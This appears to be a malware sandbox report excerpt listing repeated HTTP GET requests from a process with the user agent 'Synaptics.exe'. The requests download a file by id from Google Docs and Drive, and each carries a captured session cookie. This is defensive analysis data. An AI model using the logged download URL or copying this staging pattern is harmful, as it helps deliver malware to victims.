Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
